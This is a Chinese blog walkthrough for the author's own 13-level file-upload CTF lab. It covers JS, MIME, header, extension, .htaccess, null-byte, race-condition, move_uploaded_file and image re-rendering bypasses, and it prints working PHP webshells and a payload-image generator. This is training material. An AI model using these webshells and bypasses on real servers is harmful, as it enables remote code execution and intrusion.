直接使用别人的靶场总感觉不太好,那么就干脆自己写一个自己的文件上传靶场吧。正好博客之前也没有单独总结过文件上传的知识点,那么就顺便水一篇文章,岂不是一举两得。当然关于文件上传 upload-labs 总结的比较全面了,非强迫症患者建议直接去刷 upload-labs ,本文很多核心代码也都是直接用了 upload-labs 的轮子的… 前言国光有一台 XPS15 里面运行着 macOS 和 Ubuntu 双系统,其中 XPS 主要系统就是 Ubuntu,国光在 Ubuntu 里面搭建了一个离线的 CTFd 里面还运行着 Docker、宝塔。基本上很多服务都可以在我的 XPS 上运行起来了,出去讲课的时候会带着我的 XPS 和 MBP 一起,离线靶场一开美滋滋,更关键的是往自己的靶场里面填充题目有一种养成游戏的感觉,很有成就感。 又因为最近出书的问题,需要一个自己的靶场,那么就顺便开发一个自己的文件上传靶场吧,从简单到复杂根据自己的上课节奏来,开发完顺便放到 CTFd 中。本文写详细一点的话就可以做我自己靶场的官方 WP 了,也方便学生们课后自己消化吸收。当然如果也可以帮助到看到本文的其他朋友的话,这篇文章也变得就更加有意义了。 目前靶场一共有 13 题,感觉基本上的上传姿势点都覆盖了,除了 Windows 下的 点、空格、:DATA 特性没有覆盖到,其他的感(这个偷懒理由针不戳!) 靶场部署[color=var(--hltools-color)][size=1.15em]BASH
# 进入项目文件夹cd upload-labs-docker# 一键部署运行docker-compose up -d默认 13 个关卡运行的端口为 30001-30013 这 13 个端口上,如果要自定义端口信息的话,自行修改 docker-compose.yml 文件即可。 一共 13 个 Docker 容器,可能第一次部署需要一定的时间,有点硬伤, 耐心等待一下即可
本项目的优势: - Docker 一键部署很方便,可以灵活的导入到 CTFd 中
- 题目更侧重于教学,注重对选手解题的引导,而不是一味地刁难选手
- 配套保姆级 WP,妈妈再也不用担心不会解题啦
- 前端界面在同行的衬托下没有那么丑
JS国光认为好的题目就应该让选手在做题的时候给予线索引导,让他们可以从题目中真正学到些什么。 如何判断是否是前端验证呢?首先抓包监听,如果上传文件的时候还没有抓取到数据包,但是浏览器就提示文件类型不正确的话,那么这个多半就是前端校验了: 解法一:抓包因为是前段验证的问题,可以直接将 shell.php 重命名为 shell.png 上传抓包的时候再将文件名修改为 shell.php 即可绕过前段限制,成功上传 webshell。 解法二:禁用 JS因为 JS 来校验文件后缀的原因,所以可以直接在浏览器上禁用 JS 这样就可以直接上传文件了。Chrome 内核的浏览器在审查元素的状态下可以找到 Settings 选项,然后找到 「Debugger」 选项下面直接勾选 「Disable JavaScript」即可。 解法三:调试 JS这种解法就类似于孔乙己中的茴香豆的 「茴」有几种写法?,纯粹就是为了炫技,但是并不实用,那么国光下面就简单说下调试 JS 的过程吧。 首先审查元素下下断点: 单行单步调试,找到 whitelist 变量,双击元素然后直接修改数组元素的值 : 放掉数据包,之前的 shell.php 可直接上传成功: 成功拿到根目录下的 flag: MIME这样下去感觉上课都不需要 PPT 了,关键姿势点都直接贴在了题目中了: 因为提示了 MIME 类型校验,所以抓取上传的数据包然后直接修改 Content-Type 类型为:image/png 等合法的类型即可: 文件头本题配图中里面包含了 GIF89a 已经很明显了,答案就在题目中: 本题校验了图片的文件头也就是校验图片内容的,这个时候使用一个标准的图马是可以成功绕过的,由于国光的这个代码只校验了前面几个字节,所以直接写 GIF89a 即可成功绕过: 缺陷的代码 - 1本题的图片上的第 2 行代码是一个有缺陷的代码,黑名单关键词替换为空的操作是一种不安全的写法: 因为代码开发者的错误写法,这种情况下可以直接使用嵌套后缀绕过: 缺陷的代码 - 2本地属于理论上漏洞,因为题目环境是 Docker 容器运行的 Linux 系统,所以本题国光修改成了 Windows 的特性 同理图片提示中的第 2 行代码也是有缺陷的,可以仅用了 str_replace 替换,这样很容易就被大小写绕过,因为 Windows 环境下不区分大小写,所以就可以让 .PHp 当做 .php 来解析了,但是 Linux 下这种大小写如果的话完全没作用,所以本题是国光自己造的漏洞,用来伪造 Windows 环境下的大小写不区分的情况: 黑名单本题同样题目的配图中暗示已经比较明显了,默认情况下 Apache 把 phtml、pht、php、php3、php4、php5 解析为 PHP: 那么这里 Fuzz 一下,发现这些稍微冷门的后缀都可以直接绕过: 解析规则本题的暗示也已经很明显了,只要选手查询 htaccess 怎么解析的话,就可以很顺利的解题: 因为题目是考擦 htaccess 这个上传知识点,所以先准备一个解析规则: [color=var(--hltools-color)][size=1.15em]BASH
$ cat .htaccessAddType application/x-httpd-php .png然后先上传这个 .htaccess 文件到服务器的 upload 目录下: 这表示将 upload 目录下的所有 png 图片都当做 php 来解析,然后再上传一个 shell.png 即可: 此时这个 shell.png 就已经被当做 PHP 解析了: 古老的漏洞 - 1本题依然在题目中科普了 00 截断是啥,以及 00 截断的利用条件: 00 截断多配合路径来截断,我们来抓包看看应该是存在路径信息的,然后直接在路径后面使用 %00 来截断一下就可以成功绕过,为啥 %00 直接就可以绕过了呢?这是因为路径信息是从 GET 方式传递个后端的,这样默认会进行一次 URL 解码,%00 解码后就是空字节: 这样保存的文件名就是这样的效果: [color=var(--hltools-color)][size=1.15em]BASH
/usr/local/apache2/htdocs/upload/new.php%00shell.png因为 %00 起到截断的作用,所以最终会在 upload 目录下面生成 new.php 的 webshell 古老的漏洞 - 2国光这一题偷懒了,没有换题目外观,不过选手们抓包就会发现这是一个 POST 型的 00 截断: 既然是 POST 型 00 截断那么就直接抓包吧,需要在 BP 里面写一个 %00 然后再 URL 手动解码一下: 条件竞争本题是一个条件竞争漏洞,也在题目中给了关键的功能代码贴图,以及给了解题思路了: 条件竞争的话稍微和正常的上传姿势不一样,先把题目中给的 webshell 信息复制出来备用: [color=var(--hltools-color)][size=1.15em]PHP
<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>然后先上传 shell.php 文件: BP 抓取这个数据包然后发送到 Intruder 测试器中使用 NULL 空值无限爆破: 然后抓取访问 shell.php 的数据包: [color=var(--hltools-color)][size=1.15em]HTTP
GET /upload/shell.php HTTP/1.1Host: vul.xps.com:30009User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1依然使用 NULL 空值爆破: 最后成功在服务器的 upload 目录下生成 xiao.php 里的内容就是一个标准的 webshell: move_uploaded_file 缺陷这一题取材于 upload-labs 后面新增的题目: [color=var(--hltools-color)][size=1.15em]PHP
move_uploaded_file($temp_file, $img_path)当 $img_path 可控的时候,还会忽略掉 $img_path 后面的 /. ,这一点发现最早是 Smile 师傅于 2019 年 2 月份提出来的,TQL !!! 既然知道 move_uploaded_file 的这个小缺陷的话,这样既可直接 Getshell: 二次渲染imagecreatefrom 系列渲染图片都可能被绕过,有些特殊的图马是可以逃避过渲染的,另外这一题我特意还给了查看提示的按钮: 点击这个查看提示会出现如下页面: 注意 URL 发生了变化,没错这里是一个文件包含漏洞,这样包含选手们逃避渲染上传后的图片的话就可以直接 getshell 了: 接下来要总结一下二次渲染的细节了,这也是耗费时间写本文的主要动力之一,因为上面的那些知识点都比较常规,这个二次渲染的细节国光我一直都没有深入总结过,正好就放这里总结一下。 GIF渲染前后的两张 GIF,没有发生变化的数据库部分直接插入 Webshell 即可 首先准备一张迷你的 GIF 然后上传到目标网站上面渲染一下再导出: 使用 010Editor 打开这两个文件,在 「Tools」选项下面找到「Compare Files」即可对比两个文件内容: 对比的效果如下,其中灰的部分就是内容一致的部分: 那么只需要将 PHP 代码插入到灰色的部分即可: 修改后的 gif 图片如下: 然后上传到目标网站上面渲染一下再导出: 此时查看一下发现我们的 payload 内容依然存在: PNGPNG 没有 GIF 那么简单,需要将数据写入到 PLTE 数据块 或者 IDAT 数据块。首先准备一个 PNG 图片: 两次渲染后对比一下,发现除了 PNG 文件头,其他部分全都不一致: 看来使用 GIF 那种思路是行不通的了。PNG 的解决方法继续往下面看。 写入 PLTE 数据块关于实现细节以前乌云知识库的一篇文章写的很详细,感兴趣的朋友可以阅读看看: 写入 PLTE 数据块并不是对所有的 PNG 图片都是可行的,实验证明只有索引图像才可以成功插入 payload,灰度和真彩色图像均以失败告终。 因为值有索引图像的 PNG 才可能插入 PLTE 数据块,但是我们上面准备的 PNG 并不符合要求,得需要在 PS 里面将图片模式修改为索引颜色: 修改的索引图片如下: 然后使用 Python2 运行脚本: [color=var(--hltools-color)][size=1.15em]BASH
python poc_png.py -p '<?php eval($_REQUEST[1]);?>' -o gg_shell.png old.png生成新的 gg_shell.png 图片如下: 这个图片是带 payload 的: 然后上传到目标网站上面渲染一下再导出: 来检测一下我们的 payload 是否还存在了: 哎貌似不对劲: 这个字符串被渲染后貌似是顺序有点奇怪。这里国光踩了很多坑,查了很多资料网上都没有好的解决方案,最后国光将这个被目标网站渲染后的图片再上传渲染,下面是渲染后的图片: 赶紧来查看一下里面是否包含图马信息: 阿这!居然成功了,真的是功夫不负有心人呐,不枉国光我周末大半夜的在公司加班写的这篇文章了!!!泪目 写入 IDAT 数据块PNG 也是可以写入 IDAT 数据来绕过渲染的,由于快 23.00 了国光没有多余的时间研究里面细节了,这里直接引用了先知里面提供的一个脚本: [color=var(--hltools-color)][size=1.15em]PHP
[color=var(--hlnumber-color)]
<?php$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33);$img = imagecreatetruecolor(32, 32);for ($y = 0; $y < sizeof($p); $y += 3) { $r = $p[$y]; $g = $p[$y+1]; $b = $p[$y+2]; $color = imagecolorallocate($img, $r, $g, $b); imagesetpixel($img, round($y / 3), 0, $color);}imagepng($img,'./shell.png');?>直接运行生成会在脚本目录下生成 shell.png 图片,下面是生成好的 图片: 其内容如下: 然后上传到目标网站上面渲染一下再导出: 查看一下里面的 payload 是否还存在: 依然存在的,成功绕过渲染 ,这里顺便提一下这个 shell 的使用方法,下面就不再补充了。 首先获取图片的上传地址为: [color=var(--hltools-color)][size=1.15em]CODE
http://vul.xps.com:30010/upload/357481464.png利用网站本身的文件包含漏洞,尝试直接包含这个图马 : [color=var(--hltools-color)][size=1.15em]BASH
http://vul.xps.com:30010/?file=./upload/357481464.png貌似成功了,执行命令看看: [color=var(--hltools-color)][size=1.15em]CODE
http://vul.xps.com:30010/?0=syst ... pload/357481464.pngPOST 内容如下: [color=var(--hltools-color)][size=1.15em]BASH
1=cat /f14a4a4a4a444gJPGJPG 也需要使用脚本将数据插入到特定的数据库,而且可能会不成功,所以需要多次尝试。 这个脚本 Github 搜索一下很多项目都有这个脚本,这里国光就随便搜索拿了搜索结果第一个的项目放在本文中。 准备一个 jpg 图片: 然后上传到目标网站上面渲染一下再导出: 接着使用脚本来插入 payload,如果想要修改默认 payload 的话,自行修改脚本中的下部分代码: [color=var(--hltools-color)][size=1.15em]PHP
$miniPayload = '<?php phpinfo();?>';然后运行脚本插入 payload: [color=var(--hltools-color)][size=1.15em]BASH
$ php jpg_payload.php 122728342.jpgSuccess!生成的新图片为: 然后上传到目标网站上面渲染一下再导出: 那么来查看一下最终这个 JPG 里面是否带有 payload 信息: 无疑写 phpinfo () 是很容易成功的,但是 phpinfo () 并无实质性危害,我们需要插入真正的 webshell 才可以: [color=var(--hltools-color)][size=1.15em]PHP
$miniPayload = '<?php $_GET[0]($_POST[1]);?>';这里非常玄学,在国光经历了不知道多少次失败后,才成功将上面的 payload 完整插入
这个图马被 imagecreatefromjpeg 渲染后如下: 查看一下 payload 是否存在: 完美,尝试直接文件包含来执行攻击语句试试看: JPG 坑点总结 - 需要被 imagecreatefromjpeg 渲染或再用工具
- 图片找的稍微大一点 成功率更高
- Payload 语句越短成功率越高
- 一张图片不行就换一张 不要死磕
- 国光补充:貌似白色的图片成功率也比较高
- <?php $_GET[0]($_POST[1]);?> 这种 payload 成功率很高
代码审计代码审计这一题如果可以动态调试的话,那么理解起来就会比较简单: 这个题目是直接 copy Upload-labs 里面的最后一关,这个貌似还是后面新增的题目,下面是核心代码: [color=var(--hltools-color)][size=1.15em]PHP
[color=var(--hlnumber-color)]
$is_upload = false;$msg = null;if(!empty($_FILES['upload_file')){ //检查MIME $allow_type = array('image/jpeg','image/png','image/gif'); if(!in_array($_FILES['upload_file'['type',$allow_type)){ $msg = "禁止上传该类型文件!"; }else{ //检查文件名 $file = empty($_POST['save_name') ? $_FILES['upload_file'['name' : $_POST['save_name'; if (!is_array($file)) { $file = explode('.', strtolower($file)); } $ext = end($file); $allow_suffix = array('jpg','png','gif'); if (!in_array($ext, $allow_suffix)) { $msg = "禁止上传该后缀文件!"; }else{ $file_name = reset($file) . '.' . $file[count($file) - 1; $temp_file = $_FILES['upload_file'['tmp_name'; $img_path = UPLOAD_PATH . '/' .$file_name; if (move_uploaded_file($temp_file, $img_path)) { $msg = "文件上传成功!"; $is_upload = true; } else { $msg = "文件上传失败!"; } } }}else{ $msg = "请选择要上传的文件!";}实际上最后一关和上传关系不大,这个题主要考查 PHP 代码审计,关于代码审计的题目实际上 XDebug 动态调试一下就可以很轻松的做出来,关于 XDebug 的配置文章可以参考国光我之前写的两篇文章: 首先看第一个判断: [color=var(--hltools-color)][size=1.15em]PHP
$allow_type = array('image/jpeg','image/png','image/gif');if(!in_array($_FILES['upload_file'['type',$allow_type)){ echo "<script>black();</script>";}所以必须保证我们上传的表单 MIME 类型一定要符合标准。 接着对我们提交的 sava_name 的字符串进行处理,如果不是数组的话就以 . 为分隔,打散为数组: [color=var(--hltools-color)][size=1.15em]PHP
$file = empty($_POST['save_name') ? $_FILES['upload_file'['name' : $_POST['save_name';if (!is_array($file)) { $file = explode('.', strtolower($file));}如果是数组的话就无需打散,这里比较关键,后面再详细说,先记着。 因为打散后会校验最后的后缀: [color=var(--hltools-color)][size=1.15em]PHP
$ext = end($file);$allow_suffix = array('jpg','png','gif');if (!in_array($ext, $allow_suffix)) { echo "<script>black();</script>";}如果不是合法后缀的话直接就报错了,所以我们老老实实的传入合法的字符串类型的不行的,这里的传入一个数组。比如这样的数组: [color=var(--hltools-color)][size=1.15em]PHP
$file = [0=>'shell.php/', 2=>'png'这样执行完最后的拼接文件名的代码后: [color=var(--hltools-color)][size=1.15em]PHP
$file_name = reset($file) . '.' . $file[count($file) - 1;$file_name = 'shell.php/' . '.' . $file[2 - 1; = 'shell.php/'.'' = 'shell.php/.'这样最后一步: [color=var(--hltools-color)][size=1.15em]PHP
move_uploaded_file($temp_file, $img_path)move_uploaded_file($temp_file, 'xx/xx/shell/php/.') 结合前面的 move_uploaded_file 函数缺陷,会忽略掉文件末尾的 /.,所以最终就可以成功将 webshell 上传。 那么最终构造的数据包如下: 支持一下目前文件上传的靶场一共 13 个关卡,自己从靶场开发到编写 WP 也耗时了好几天时间,不过每次总结整理这些的熟悉又陌生的知识点感觉都会有新的发现 : 本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN 费用等)
|